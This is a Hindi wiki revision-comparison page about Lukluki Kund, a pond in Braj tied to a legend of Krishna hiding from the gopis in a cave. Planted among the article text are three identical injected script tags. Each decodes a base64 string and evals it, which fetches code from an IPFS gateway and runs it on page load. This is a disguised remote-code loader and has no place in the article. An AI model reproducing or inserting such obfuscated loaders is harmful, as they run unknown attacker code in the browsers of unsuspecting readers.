"लुकलुकी कुण्ड" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति ३: पंक्ति ३:
 
==लुकलुकी कुण्ड / Lukluki Kund==
 
==लुकलुकी कुण्ड / Lukluki Kund==
 
गोचारण करते समय कभी [[कृष्ण]] अपने सखाओं को खेलते हुए छोड़कर कुछ समय के लिए एकान्त में इस परम रमणीय स्थान पर गोपियों से मिले । वे उन [[ब्रज]]–रमणियों के साथ यहाँ पर लुका–छिपी (आँख मुदउवल) की क्रीड़ा करने लगे। सब गोपियों ने अपनी–अपनी आँखें मूँद लीं और कृष्ण निकट ही पर्वत की एक कन्दरा में प्रवेश कर गये। सखियाँ चारों ओर खोजने लगीं, किन्तु कृष्ण को ढूँढ़ नहीं सकीं। वे बहुत ही चिन्तित हुई कि कृष्ण हमें छोड़कर कहाँ चले गये ? वे कृष्ण का ध्यान करने लगीं। जहाँ पर वे बैठकर ध्यान कर रही थीं, वह स्थल ध्यान–कुण्ड है । जिस कन्दरा में कृष्ण छिपे थे, उसे लुक–लुक कन्दरा कहते हैं।
 
गोचारण करते समय कभी [[कृष्ण]] अपने सखाओं को खेलते हुए छोड़कर कुछ समय के लिए एकान्त में इस परम रमणीय स्थान पर गोपियों से मिले । वे उन [[ब्रज]]–रमणियों के साथ यहाँ पर लुका–छिपी (आँख मुदउवल) की क्रीड़ा करने लगे। सब गोपियों ने अपनी–अपनी आँखें मूँद लीं और कृष्ण निकट ही पर्वत की एक कन्दरा में प्रवेश कर गये। सखियाँ चारों ओर खोजने लगीं, किन्तु कृष्ण को ढूँढ़ नहीं सकीं। वे बहुत ही चिन्तित हुई कि कृष्ण हमें छोड़कर कहाँ चले गये ? वे कृष्ण का ध्यान करने लगीं। जहाँ पर वे बैठकर ध्यान कर रही थीं, वह स्थल ध्यान–कुण्ड है । जिस कन्दरा में कृष्ण छिपे थे, उसे लुक–लुक कन्दरा कहते हैं।
==अन्य लिंक==
+
==सम्बंधित लिंक==
{| width="100%"
+
{{ब्रज के दर्शनीय स्थल}}
|-
 
|{{काम्यवन}}
 
|-
 
|{{साँचा:कुण्ड}}
 
|}
 
 
[[Category:कोश]]
 
[[Category:कोश]]
 
[[Category:धार्मिक स्थल]]
 
[[Category:धार्मिक स्थल]]

१२:४८, ५ जुलाई २०१० का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>


Logo.jpg पन्ना बनने की प्रक्रिया में है। आप इसको तैयार कर सकते हैं। हिंदी (देवनागरी) टाइप की सुविधा संपादन पन्ने पर ही उसके नीचे उपलब्ध है।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लुकलुकी कुण्ड / Lukluki Kund

गोचारण करते समय कभी कृष्ण अपने सखाओं को खेलते हुए छोड़कर कुछ समय के लिए एकान्त में इस परम रमणीय स्थान पर गोपियों से मिले । वे उन ब्रज–रमणियों के साथ यहाँ पर लुका–छिपी (आँख मुदउवल) की क्रीड़ा करने लगे। सब गोपियों ने अपनी–अपनी आँखें मूँद लीं और कृष्ण निकट ही पर्वत की एक कन्दरा में प्रवेश कर गये। सखियाँ चारों ओर खोजने लगीं, किन्तु कृष्ण को ढूँढ़ नहीं सकीं। वे बहुत ही चिन्तित हुई कि कृष्ण हमें छोड़कर कहाँ चले गये ? वे कृष्ण का ध्यान करने लगीं। जहाँ पर वे बैठकर ध्यान कर रही थीं, वह स्थल ध्यान–कुण्ड है । जिस कन्दरा में कृष्ण छिपे थे, उसे लुक–लुक कन्दरा कहते हैं।

सम्बंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>